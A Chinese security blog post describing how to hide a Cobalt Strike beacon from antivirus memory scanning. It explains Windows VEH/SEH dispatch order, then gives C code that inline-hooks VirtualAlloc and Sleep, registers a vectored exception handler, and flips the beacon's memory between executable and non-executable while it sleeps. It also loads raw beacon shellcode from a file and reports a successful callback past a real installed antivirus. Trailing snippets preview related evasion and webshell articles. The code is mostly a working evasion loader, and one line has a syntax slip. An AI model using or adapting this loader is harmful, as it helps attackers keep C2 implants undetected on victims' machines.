通过VEH异常处理规避内存扫描实现免杀

VSole2021-10-29 06:50:59

windows异常处理

Windows中主要的异常处理机制:VEH、SEH、C++EH。

SEH中文全称:结构化异常处理。就是平时用的__try __finally __try __except,是对c的扩展。

VEH中文全称:向量异常处理。一般来说用AddVectoredExceptionHandler去添加一个异常处理函数,可以通过第一个参数决定是否将VEH函数插入到VEH链表头,插入到链表头的函数先执行,如果为1,则会最优先执行。

C++EH是C++提供的异常处理方式,执行顺序将排在最后。

在用户模式下发生异常时,异常处理分发函数在内部会先调用遍历 VEH 记录链表的函数, 如果没有找到可以处理异常的注册函数,再开始遍历 SEH 注册链表。

Windows异常处理顺序流程

•终止当前程序的执行

•调试器(进程必须被调试,向调试器发送EXCEPTION_DEBUG_EVENT消息)

•执行VEH

•执行SEH

•TopLevelEH(进程被调试时不会被执行)

•执行VEH

•交给调试器(上面的异常处理都说处理不了,就再次交给调试器)

•调用异常端口通知csrss.exe

通过流程也可以看到VEH的执行顺序是要优于SEH的。

通过VEH异常处理规避内存扫描

当AV描扫进程空间的时候,并不会将所有的内存空间都扫描一遍,只会扫描敏感的内存区域。

所谓的敏感内存区域无非就是指可执行的区域。思路就是不断地改变某一块内存属性,当应该执行命令或者某些操作的时候,执行的内存属性是可执行的,当功能模块进入睡眠的时候则将内存属性改为不可执行。

当执行的地址空间为不可执行时,若强行执行则会返回0xc0000005异常,这个异常是指没有权限执行。所以通过VEH抓取这个异常,即可根据需求,动态的改变内存属性,进而逃避内存扫描。

当触发0xc0000005异常的时候需要恢复内存可执行属性,就通过AddVectoredExceptionHandler去注册一个异常处理函数,作用就是更改内存属性为可执行。那么就需要知道是哪一块地址需要修改,这里要根据申请空间API决定,如果是VirtualAlloc就hook VirtualAlloc,如果是其他申请空间API就hook其他API,这个根据具体的c2profile配置有关。如果不使用c2profile那么默认就是使用VirtualAlloc分配空间。这里先看一下hook VirtualAlloc,作用主要是为了读取起始地址和大小。

static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
    unhookVirtualAlloc();
    Beacon_len = dwSize;
    Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
    hookVirtualAlloc();
    printf("分配大小:%d", Beacon_len);
    printf("分配地址:%x ", Beacon_address);
    return Beacon_address;
}
void hookVirtualAlloc() {
    DWORD dwAllocOldProtect = NULL;
    BYTE pAllocData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
    //保存原来的硬编码
    RtlCopyMemory(g_OldAlloc, OldVirtualAlloc, sizeof(pAllocData));
    //计算偏移
    DWORD dwAllocOffeset = (DWORD)NewVirtualAlloc - (DWORD)OldVirtualAlloc - 5;
    //得到完整的pAllocData
    RtlCopyMemory(&pAllocData[1], &dwAllocOffeset, sizeof(dwAllocOffeset));
    //改为可写属性
    VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwAllocOldProtect);
    //将偏移地址写入,跳转到新的
    RtlCopyMemory(OldVirtualAlloc, pAllocData, sizeof(pAllocData));
    //还原属性
    VirtualProtect(OldVirtualAlloc, 5, dwAllocOldProtect, &dwAllocOldProtect);
}
void unhookVirtualAlloc() {
    DWORD dwOldProtect = NULL;
    VirtualProtect(OldVirtualAlloc, 5, PAGE_READWRITE, &dwOldProtect);
    //还原硬编码
    RtlCopyMemory(OldVirtualAlloc, g_OldAlloc, sizeof(g_OldAlloc));
    //还原属性
    VirtualProtect(OldVirtualAlloc, 5, dwOldProtect, &dwOldProtect);
}

还有一个需要去hook的就是Sleep,因为需要在执行Sleep的时候就将功能模块的内存属性改为不可执行,规避内存扫描。

static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds) {
    if (Vir_FLAG)
    {
        VirtualFree(shellcode_addr, 0, MEM_RELEASE);
        Vir_FLAG = false;
    }
    printf("sleep时间:%d", dwMilliseconds);
    unhookSleep();
    OldSleep(dwMilliseconds);
    hookSleep();
    //解锁
    SetEvent(hEvent);
}
void hookSleep() {
    DWORD dwSleepOldProtect = NULL;
    BYTE pSleepData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
    //保存原来的硬编码
    RtlCopyMemory(g_OldSleep, OldSleep, sizeof(pSleepData));
    //计算偏移
    DWORD dwSleepOffeset = (DWORD)NewSleep - (DWORD)OldSleep - 5;
    //得到完整的pAllocData
    RtlCopyMemory(&pSleepData[1], &dwSleepOffeset, sizeof(dwSleepOffeset));
    //改为可写属性
    VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &dwSleepOldProtect);
    //将偏移地址写入,跳转到新的
    RtlCopyMemory(OldSleep, pSleepData, sizeof(pSleepData));
    //还原属性
    VirtualProtect(OldSleep, 5, dwSleepOldProtect, &dwSleepOldProtect);
}
void unhookSleep() {
    DWORD dwOldProtect = NULL;
    VirtualProtect(OldSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    //还原硬编码
    RtlCopyMemory(OldSleep, g_OldSleep, sizeof(g_OldSleep));
    //还原属性
    VirtualProtect(OldSleep, 5, dwOldProtect, &dwOldProtect);
}

然后就是注册异常函数,这个异常函数就是为了恢复可执行内存属性。

is_Exception函数就是为了验证是不是在申请空间内的范围呢出现异常,而不是其他内存空间。

LONG NTAPI PvectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo){
    printf("异常错误码:%x", ExceptionInfo->ExceptionRecord->ExceptionCode);
    printf("线程地址:%lx", ExceptionInfo->ContextRecord->Eip);
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(ExceptionInfo->ContextRecord->Eip) {
        printf("恢复可执行内存属性");
        VirtualProtect(Beacon_address, Beacon_len, PAGE_EXECUTE_READWRITE, &Beacon_flOldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

起一个线程,让他不断地去等待Sleep函数通知,通知后就将内存空间重新设置为不可执行。线程控制的话就用到了事件。

DWORD WINAPI SetNoExecutable(LPVOID lpParameter) {
    while (true)
    {
        //等待解锁
        WaitForSingleObject(hEvent, INFINITE);
        printf("设置Beacon内存属性不可执行");
        VirtualProtect(Beacon_address, Beacon_len, PAGE_READWRITE, &Beacon_flOldProtect);
        //设置事件为未被通知的,重新上锁
        ResetEvent(hEvent);
    }
}
int main()
{
    //设置事件为有信号的,处于通知状态。
    hEvent = CreateEvent(NULL,TRUE,false,NULL);
    AddVectoredExceptionHandler(1, &PvectoredExceptionHandler);
    hookVirtualAlloc();
    hookSleep();
    
    unsigned char* BinData = NULL;
    size_t size = 0;
    char* szFilePath = (char*)"Beacon32.bin";
    BinData = ReadBinaryFile(szFilePath, &size);
    shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
    memcpy(shellcode_addr, BinData, size);
    VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_flOldProtect);
    HANDLE hThread1 = CreateThread(NULL, 0, SetNoExecutable, NULL, 0, NULL);
    CloseHandle(hThread1);
    (*(int(*)()) shellcode_addr)();
    
}

这里有一个很混淆的地方:hook VirtualAlloc并不是去hook的上面这个我们自己调用的VirtualAlloc,这个是没有意义的。hook的是cs自己调用的申请内存空间API,他自己分配的内存地址才是真正的beacon代码地址,这里用下LN师傅的图。图中是stager分阶段的执行过程,如果是stagerless无阶段的执行过程也是差不多的,只不过没有远程去请求而是直接写在文件里。而且他这个执行步骤是会将前面的代码删除的,比如说

比如生成一个无阶段的raw文件,然后跑一下

会发现这里调用了两次VirtualAlloc,实际上就是执行cs的代码他自己会调用一次,这个地址才是真正的beacon代码实现功能的地址,我们要改的内存属性其实在这里。

还可以看到他cs是执行完一段代码,就释放一段空间。

执行前:

执行后:

他把之前部分内存已经free掉了。

最后,找了个同学的物理机数字杀软去看了下,上线是完全没有问题的。(cs上线的图当时忘了截,基础命令可以执行)

这里是实际环境下的数字杀软,并不是虚拟机版本,杀毒力度是很强的,即便他认为内存空间没有问题,但是当我执行敏感操作,比如远程创建线程,他还是会直接弹出警告。所以即便已经把对抗做到内存,但是还是处处受限,上线只是一方面,能执行各种操作是另一方面,像LN前辈说的一样,可能只有加白才是最后的归宿。

免杀异常处理
本作品采用《CC 协议》,转载必须注明作者和本文链接
Windows中主要的异常处理机制:VEH、SEH、C++EH。 SEH中文全称:结构化异常处理。就是平时用的__try __finally __try __except,是对c的扩展。 VEH中文全称:向量异常处理。一般来说用AddVectoredExceptionHandler去添加一个异常处理函数,可以通过第一个参数决定是否将VEH函数插入到VEH链表头,插入到链表头的函数先执行,如果为
现在的shellcode分离,远程内存加载已经很流行也比较实用了,基本被了改改又可以过,本篇分享下最近的一次的思路,主要是思路,遇到一个点如何去对下一步进行处理。用到的工具:1. VC6.0++. 不用分开单独做,一个一个软去做就行了火绒server.dat:爆后门病毒,myccl特征码定位[特征] 0002E070_00000002. 无法确认定位的内容
前言一种规避软检测的技术就是内存加密技术。最后,在实现内存加密的过程中,也发现了其中不足并提出改进的方法。它允许应用程序拦截并处理Windows消息或指定事件,当指定的消息发出后,hook程序就可以在消息到达目标窗口之前将其捕获,从而得到对消息的控制权,进而可以对该消息进行处理或修改,加入我们所需的功能。IRP hook,一种内核层的hook技术,通过修改IRP结构体中某个成员变量指向自己的补丁函数来实现。
代码框架 想法是尽量用一个通用的注入框架,有异常接收,令牌权限开启,获取进程PID的功能
0X01起源在攻防演练中通过运行恶意代码连接C2是最常用的手段,但是由于对抗程度的提升。以360、天擎为代表的杀毒软件针对信任链的检测,已经变得愈来愈成熟。这里我们可以理解为,攻击者通过利用"白加黑"这种攻击方法。当攻击者通过社工钓鱼的手段,使得目标下载恶意的文件到目标自己的计算机上,并点击运行白文件时,该文件会在运行时执行恶意DLL。
Windows应急响应
2021-11-15 12:48:10
一旦中了勒索病毒,文件会被锁死,没有办法正常访问了,这时候,会给你带来极大的困恼。为了防范这样的事情出现,我们电脑上要先做好一些措施:1、安装杀毒软件,保持监控开启,定期全盘扫描。把异常文件拖出来进行检测,查看检测结果。
JSP Webshell的检测工具
2021-12-13 12:04:53
在11月初,我做了一些JSP Webshell的研究,主要参考了三梦师傅开源的代码。然后加入了一些代码混淆手段,编写了一个马生成器JSPHorse,没想到在Github上已收获500+的Star
蓝队初级防护总结
2023-01-09 10:11:55
三. 网站被上传webshell如何处理?工具方面比如使用D盾webshellkill,河马webshell查杀,百度在线webshell查杀等工具对网站目录进行排查查杀,如果是在护网期间可以将样本备份再进行查杀。堡垒机是针对内部运维人员的运维安全审计系统。WAFWAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。
堡垒机是针对内部运维人员的运维安全审计系统。WAFWAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。设置账户锁定策略,比如说登录行为限制次数,达到次数后锁定多长时间。
VSole
网络安全专家